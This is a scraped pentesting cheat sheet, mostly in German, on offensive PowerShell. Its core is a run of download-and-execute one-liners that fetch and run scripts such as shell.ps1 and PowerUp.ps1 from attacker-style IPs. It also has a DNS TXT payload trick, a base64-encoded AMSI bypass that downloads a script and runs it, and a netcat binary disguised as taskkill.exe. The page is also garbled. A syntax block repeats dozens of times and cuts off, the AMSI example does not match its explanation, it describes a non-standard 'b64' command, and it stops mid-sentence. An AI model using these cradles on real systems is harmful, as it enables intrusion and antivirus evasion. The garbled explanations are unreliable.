.. | ||
powerview.md | ||
README.md |
Basic PowerShell for Pentesters
Lernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories senden.
Standard-PowerShell-Standorte
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Grundlegende PS-Befehle zum Starten
PowerShell ist eine leistungsstarke Skriptsprache und Befehlszeilenschnittstelle, die in Windows-Betriebssystemen verwendet wird. Hier sind einige grundlegende PowerShell-Befehle, mit denen Sie beginnen können:
Get-Command
Der Befehl Get-Command
wird verwendet, um eine Liste aller verfügbaren Befehle in PowerShell anzuzeigen. Dies kann Ihnen helfen, die verfügbaren Funktionen und Möglichkeiten zu erkunden.
Get-Command
Get-Help
Der Befehl Get-Help
wird verwendet, um Hilfe zu einem bestimmten Befehl anzuzeigen. Sie können den Befehl Get-Help
gefolgt vom Namen des Befehls eingeben, um detaillierte Informationen zu dessen Verwendung und Parametern zu erhalten.
Get-Help Get-Process
Get-Process
Der Befehl Get-Process
wird verwendet, um Informationen über die laufenden Prozesse auf Ihrem System anzuzeigen. Sie können den Befehl einfach eingeben, um eine Liste der Prozesse und ihre zugehörigen Informationen anzuzeigen.
Get-Process
Get-Service
Der Befehl Get-Service
wird verwendet, um Informationen über die auf Ihrem System ausgeführten Dienste anzuzeigen. Sie können den Befehl eingeben, um eine Liste der Dienste und ihre Statusinformationen anzuzeigen.
Get-Service
Get-EventLog
Der Befehl Get-EventLog
wird verwendet, um Ereignisprotokolle auf Ihrem System anzuzeigen. Sie können den Befehl gefolgt von einem Ereignisprotokollnamen eingeben, um die entsprechenden Ereignisse anzuzeigen.
Get-EventLog -LogName System
Diese grundlegenden PowerShell-Befehle können Ihnen helfen, mit PowerShell zu beginnen und Ihre Kenntnisse und Fähigkeiten weiter auszubauen.
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Herunterladen und Ausführen
In einigen Fällen möchten Sie möglicherweise eine Datei von einem Remote-Server herunterladen und auf Ihrem Zielcomputer ausführen. PowerShell bietet eine einfache Möglichkeit, dies zu erreichen.
Methode 1: Invoke-WebRequest
und Invoke-Expression
Die erste Methode besteht darin, die Invoke-WebRequest
-Funktion zu verwenden, um die Datei von einem Remote-Server herunterzuladen, und dann die Invoke-Expression
-Funktion, um die heruntergeladene Datei auszuführen.
$url = "http://example.com/malicious-file.exe"
$output = "C:\Temp\malicious-file.exe"
Invoke-WebRequest -Uri $url -OutFile $output
Invoke-Expression -Command $output
Ersetzen Sie http://example.com/malicious-file.exe
durch die URL der herunterzuladenden Datei und C:\Temp\malicious-file.exe
durch den Pfad und den Dateinamen, unter dem die Datei gespeichert werden soll.
Methode 2: iex
-Alias
Die zweite Methode besteht darin, den iex
-Alias zu verwenden, um die Datei direkt herunterzuladen und auszuführen.
iex (New-Object Net.WebClient).DownloadString('http://example.com/malicious-script.ps1')
Ersetzen Sie http://example.com/malicious-script.ps1
durch die URL des auszuführenden Skripts.
Beachten Sie, dass das Ausführen von Dateien aus dem Internet ein Sicherheitsrisiko darstellt. Stellen Sie sicher, dass Sie nur vertrauenswürdige Quellen verwenden und die heruntergeladenen Dateien vor der Ausführung überprüfen.
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Hintergrund-Download und Ausführung mit AMSI-Bypass
Dieser Trick ermöglicht es Ihnen, eine Datei im Hintergrund herunterzuladen und auszuführen, während Sie den AMSI (Antimalware Scan Interface) umgehen. Der AMSI-Bypass ist eine Technik, die es Ihnen ermöglicht, schädlichen Code auszuführen, ohne von der Antivirensoftware erkannt zu werden.
Um diesen Trick anzuwenden, können Sie den folgenden PowerShell-Befehl verwenden:
$URL = "http://example.com/malicious-file.exe"
$FilePath = "C:\Temp\malicious-file.exe"
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $FilePath)
Start-Process -FilePath $FilePath -WindowStyle Hidden
Ersetzen Sie "http://example.com/malicious-file.exe" durch die URL der schädlichen Datei, die Sie herunterladen möchten, und "C:\Temp\malicious-file.exe" durch den Pfad, an dem Sie die Datei speichern möchten.
Dieser Befehl lädt die Datei von der angegebenen URL herunter und speichert sie im angegebenen Pfad. Anschließend wird die Datei im Hintergrund ausgeführt, ohne ein sichtbares Fenster anzuzeigen.
Bitte beachten Sie, dass das Umgehen des AMSI und das Ausführen schädlicher Dateien illegal sein kann. Verwenden Sie diese Technik nur zu Bildungszwecken oder mit ausdrücklicher Genehmigung des Eigentümers des Systems, das Sie testen.
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Verwendung von b64 unter Linux
The b64
command is a useful tool for encoding and decoding data in Base64 format. It is commonly used in various scenarios, including penetration testing and data manipulation. In Linux, you can use the b64
command to perform these operations.
To encode data using b64
, you can run the following command:
echo -n "data_to_encode" | b64
Replace data_to_encode
with the actual data you want to encode. The -n
option is used to prevent the echo
command from appending a newline character.
To decode Base64-encoded data using b64
, you can run the following command:
echo -n "encoded_data" | b64 -d
Replace encoded_data
with the actual Base64-encoded data you want to decode. The -d
option is used to specify the decoding operation.
By using the b64
command in Linux, you can easily encode and decode data in Base64 format for various purposes.
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Herunterladen
System.Net.WebClient
Die System.Net.WebClient
-Klasse ermöglicht das Herunterladen von Dateien aus dem Internet. Sie kann verwendet werden, um Dateien von einer bestimmten URL herunterzuladen.
Syntax
$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile($url, $outputPath)
Parameter
$url
: Die URL der Datei, die heruntergeladen werden soll.$outputPath
: Der Pfad, an dem die heruntergeladene Datei gespeichert werden soll.
Beispiel
$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile("https://example.com/file.txt", "C:\Downloads\file.txt")
In diesem Beispiel wird die Datei file.txt
von der URL https://example.com/file.txt
heruntergeladen und im Pfad C:\Downloads\file.txt
gespeichert.
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
Invoke-WebRequest
ist ein Cmdlet in PowerShell, das verwendet wird, um HTTP-Anfragen an eine URL zu senden und die Antwort abzurufen. Es kann verwendet werden, um Webseiten herunterzuladen, Daten von APIs abzurufen oder sogar Webanwendungen zu testen.
Syntax
Invoke-WebRequest [-Uri] <Uri> [-Method <WebRequestMethod>] [-Headers <IDictionary>] [-Body <Object>] [-ContentType <String>] [-UserAgent <String>] [-Credential <PSCredential>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-UseBasicParsing] [-TimeoutSec <Int32>] [-SessionVariable <String>] [-WebSession <WebRequestSession>] [-MaximumRedirection <Int32>] [-DisableKeepAlive] [-SkipCertificateCheck] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-ContentType <String>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <P
```powershell
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading. Wget is available for various operating systems, including Windows.
To use Wget, you need to open a command prompt or PowerShell window and enter the appropriate command. Here are some common examples:
- Download a file:
wget <URL>
- Download a file and save it with a different name:
wget -O <output_file> <URL>
- Download a file and continue an interrupted download:
wget -c <URL>
- Download an entire website:
wget -r <URL>
- Download files from a list of URLs:
wget -i <file_with_urls>
Wget also supports various options and parameters that allow you to customize the download process. You can refer to the Wget documentation for more information on these options.
Keep in mind that while Wget is a useful tool, it can also be misused for unauthorized activities. Always ensure that you have proper authorization and follow ethical guidelines when using Wget or any other hacking tool.
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
BitsTransfer ist ein PowerShell-Modul, das es ermöglicht, Dateien über das Background Intelligent Transfer Service (BITS) herunterzuladen oder hochzuladen. BITS ist ein Windows-Dienst, der für die Übertragung von Dateien im Hintergrund verantwortlich ist und eine unterbrechungsfreie Übertragung ermöglicht, selbst wenn die Verbindung vorübergehend unterbrochen wird.
Herunterladen von Dateien mit BitsTransfer
Um eine Datei mit BitsTransfer herunterzuladen, verwenden Sie den Befehl Start-BitsTransfer
. Geben Sie die URL der Datei an, die Sie herunterladen möchten, sowie den Pfad, an dem Sie die Datei speichern möchten. Sie können auch den Parameter -Asynchronous
verwenden, um den Download im Hintergrund auszuführen.
Start-BitsTransfer -Source "https://example.com/file.txt" -Destination "C:\Downloads\file.txt"
Hochladen von Dateien mit BitsTransfer
Um eine Datei mit BitsTransfer hochzuladen, verwenden Sie den Befehl Start-BitsTransfer
